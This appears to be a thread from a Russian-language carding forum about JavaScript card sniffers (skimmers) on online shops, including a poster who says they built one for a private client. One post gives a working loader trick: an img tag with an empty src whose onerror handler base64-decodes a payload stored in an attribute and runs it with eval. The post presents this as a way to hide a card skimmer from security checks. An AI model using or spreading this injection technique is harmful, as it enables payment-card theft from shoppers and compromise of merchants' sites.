• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья JS сниффер

What happens if I have a sniffer, and I want to know which data is from cards like cvv, cc, cv etc,
but there are many websites and they are all different ?
you need a sniffer that collect cc+cvv, also for this you need access to online shops on which you already install the sniffer itself
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Hi, thanks friend, I was actually programming one, and I already finished it, it was for a private client, still thanks :))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Попался тут один трюк с onerror в теге img, который используется для сокрытия снифера цц

JavaScript:
<img
data-base64="ZnVuY3Rpb24gdGVzdDEoKXthbGVydCgnSGVsbG8gd29ybGQnKTsgfQ=="
onerror="(() => {
if (!window.__imgTriggered) {
window.__imgTriggered = true;
let imgElement = event.target;
let base64Data = imgElement.getAttribute('data-base64');
if (base64Data) {
    let decodedString = atob(base64Data);
    eval(decodedString); // Выполняем декодированную строку как код
    test1();
}} })()"
src="" />


1. Собственно в data-base64 кодируется payload (основная нагрузка , сам снифер)

в данном случае там закодирован следующий JS-код
JavaScript:
function test1(){alert('Hello world'); }

2. onerror событие позволяет обходить некоторые механизмы безопасности так как ему доверяют
3. это событие вызвается каждый раз т.к. нет картинки (и она не отображается) src="", код декодируется и вызывается функция test1();
4. eval(); тут в качестве примера, его можно заменить.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх